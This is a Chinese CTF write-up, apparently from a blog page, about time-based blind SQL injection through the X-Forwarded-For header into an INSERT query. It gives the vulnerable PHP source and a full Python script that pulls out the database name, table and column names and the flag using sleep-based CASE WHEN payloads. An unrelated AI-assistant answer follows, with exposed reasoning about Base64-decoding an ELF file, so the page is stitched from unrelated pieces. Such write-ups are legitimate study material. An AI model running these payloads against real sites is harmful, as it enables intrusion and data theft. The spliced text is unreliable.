记一道INSERT INTO盲注的CTF题目

本文介绍了一种利用盲注技术破解网站安全漏洞的方法,通过构造特定的payload并观察网站响应时间来猜测数据库信息,包括数据库名、表名、列名及最终的flag。

题目链接:链接

题目给出了源码(如下),可以看到网站储存了用户访问时的ip信息。

除了逗号以外未过滤其他输入,直接拼接到insert into语句中,存在注入点,由于没有输出点,考虑使用盲注。

<?php
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

由于过滤了逗号无法使用if(a,b,c)格式测试,改为使用case when else格式代替。

测试数据库长度,网站延迟回显,证明payload构造成功。

接着猜解名字需要用到substr,被过滤的逗号可以用 from for代替,如

substr((select flag from flag) from 1 for 1

附:题目完整解题过程逐步演示代码

import requests
import time
url="http://123.206.87.240:8002/web15/"
i=0
schelen=0
print("开始猜解数据库长度")
while True:
    payload="127.0.0.1' and case when(length(database())>"+str(i)+") then sleep(5) else 1 end)#"
    # print(payload)
    start=time.time()
    headers={'X-Forwarded-For':payload}
    demo=requests.get(url,headers=headers)
    final=time.time()

    if final-start>4:
        schelen+=1
        print(schelen)
    else:
        print("数据库名长度"+str(schelen))
        break
    i+=1
print("开始猜解database")
flag=""
for j in range(1,schelen+1):
    for k in range(40,128):
        payload = "127.0.0.1' and case when(ascii(substr(database() from "+str(j)+" for 1))="+str(k)+") then sleep(5) else 1 end)#"
        # print(payload)
        start = time.time()
        headers = {'X-Forwarded-For': payload}
        demo = requests.get(url, headers=headers)
        final = time.time()
        if final-start>4:
            flag+=chr(k)
            print(flag)
print("开始猜解表名")
flag=""
for j in range(1,15):
    for k in range(40,128):
        payload = "127.0.0.1' and case when(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from "+str(j)+" for 1))="+str(k)+") then sleep(5) else 1 end)#"
        # print(payload)
        start = time.time()
        headers = {'X-Forwarded-For': payload}
        demo = requests.get(url, headers=headers)
        final = time.time()
        if final-start>4:
            flag+=chr(k)
            print(flag)
print("开始猜解flag表列名")
flag=""
for j in range(1,15):
    for k in range(40,128):
        payload = "127.0.0.1' and case when(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x666c6167) from "+str(j)+" for 1))="+str(k)+") then sleep(5) else 1 end)#"
        # print(payload)
        start = time.time()
        headers = {'X-Forwarded-For': payload}
        demo = requests.get(url, headers=headers)
        final = time.time()
        if final-start>4:
            flag+=chr(k)
            print(flag)
print("开始猜解flag")
flag=""
for j in range(1,35):
    for k in range(40,128):
        payload = "127.0.0.1' and case when(ascii(substr((select flag from flag) from "+str(j)+" for 1))="+str(k)+") then sleep(5) else 1 end)#"
        # print(payload)
        start = time.time()
        headers = {'X-Forwarded-For': payload}
        demo = requests.get(url, headers=headers)
        final = time.time()
        if final-start>4:
            flag+=chr(k)
            print(flag)

 

<think>我们有一个CTF题目中的字符串:f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA8ARAAAAAAABAAAAAAAAAAJA/AAAAAAAAAAAAAEAAOAAJAEAAHgAdAAYAAAAEAAAAQ...(省略部分)根据之前的引用,特别是引用[3]中提到的解密过程,我们可以推测这可能是一个二进制文件(因为开头是"f0VMRgIBA",这看起来像ELF文件的魔数)。但是,用户给出的字符串是Base64编码的吗?还是直接是二进制数据?观察字符串:它以"f0VMRgIBA"开头,这类似于ELF文件头的Base64编码。因为ELF文件头通常以"\x7fELF"开始,我们将其转换为Base64:"\x7f"的ASCII码是127,在Base64编码表中,127对应的字符并不是直接可读的,但我们可以尝试将整个字符串进行Base64解码。步骤:1.将给定的字符串(Base64编码)解码为二进制数据。2.将二进制数据保存为文件,然后分析文件类型。但是,用户给出的字符串很长,而且中间有省略号。我们无法处理省略的部分,所以只能假设这是一个完整的Base64字符串。然而,引用[3]中提到的解密过程是一个自定义的算法,但用户提供的字符串看起来像Base64编码的二进制文件,所以可能不需要引用[3]的算法。另外,引用[1]中提到了八进制数字字符串转换为ASCII字符的方法,但这里不是八进制数字字符串,而是Base64字符串。所以,我们尝试Base64解码。由于字符串很长,我们可以写一个简单的程序来解码并保存为文件,然后使用工具分析(如file命令、strings命令等)。但在这里,我们只能进行Base64解码,然后查看文件头确认。意:在Python中,我们可以用base64模块进行解码。示例代码:importbase64encoded_str="f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA8ARAAAAAAABAAAAAAAAAAJA/AAAAAAAAAAAAAEAAOAAJAEAAHgAdAAYAAAAEAAAAQ..."#这里需要完整的字符串decoded_data=base64.b64decode(encoded_str)withopen('output','wb')asf:f.write(decoded_data)然后,我们可以用命令行工具检查文件类型:fileoutput如果文件是ELF可执行文件,那么我们可以尝试运行它(在安全环境下)或者用逆向工程工具(如IDA、Ghidra)分析。但是,用户没有提供完整的字符串,所以我们无法实际执行。因此,我们只能提供方法。另外,如果题目有额外的加密或混淆,可能需要进一步分析。但根据字符串开头,很大可能是ELF文件。因此,回答如下:</think>要解码或分析CTF题目中的字符串 `f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA8ARAAAAAAABAAAAAAAAAAJA/AAAAAAAAAAAAAEAAOAAJAEAAHgAdAAYAAAAEAAAAQ...`,请按以下步骤操作: ### 🔍 解码步骤分析 1. **识别文件类型** - 字符串开头 `f0VMRgIBA` 是 **ELF可执行文件头的Base64编码**(对应魔数 `\x7fELF`)。 - 使用Base64解码还原原始二进制文件: ```python import base64 encoded_str = "f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA8ARAAAAAAABAAAAAAAAAAJA/AAAAAAAAAAAAAEAAOAAJAEAAHgAdAAYAAAAEAAAAQ..." # 替换为完整字符串 decoded_data = base64.b64decode(encoded_str) with open("output.elf", "wb") as f: f.write(decoded_data) ``` 2. **分析ELF文件** - 通过工具检查文件属性: ```bash file output.elf # 查看文件类型(如ELF 32/64位) strings output.elf # 提取文件中的可读字符串 objdump -d output.elf # 反汇编查看汇编代码 ``` - 若文件包含加密逻辑(如引用[3]中的自定义解密流程),需用逆向工具(Ghidra/IDA)分析关键函数。 3. **处理加密逻辑** - 若发现类似引用[3]的异或加密(`flag += chr(ord(b[i]) ^ ord(tag[i % 6]))`),需定位密钥(如`tag = 'redctf'`)和密文数据段。 - 示例解密片段: ```python tag = 'redctf' # 或根据上下文调整密钥 encrypted_data = [...] # 从文件中提取的密文字节 flag = ''.join(chr(encrypted_data[i] ^ ord(tag[i % len(tag)])) for i in range(len(encrypted_data))) ``` ### ⚠️ 意事项 - **动态调试**:若文件可执行,使用 `gdb` 或 `strace` 跟踪运行时行为(如输入/输出、系统调用)。 - **隐写可能性**:检查文件是否隐藏额外数据(如通过 `binwalk` 分析)。 - **环境差异**:密钥或算法可能依赖运行环境(如引用[3]中密钥随环境变化)[^3]。 ### 📝 相关问题 1. Base64解码后文件不是ELF格式怎么办? 2. 如何快速定位ELF文件中的加密函数? 3. 遇到非标准加密算法(如自定义位操作)如何逆向分析? > 引用说明:ELF文件头特征分析参考标准文件格式文档[^1],异或解密方法借鉴了CTF逆向题的常见模式[^3]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值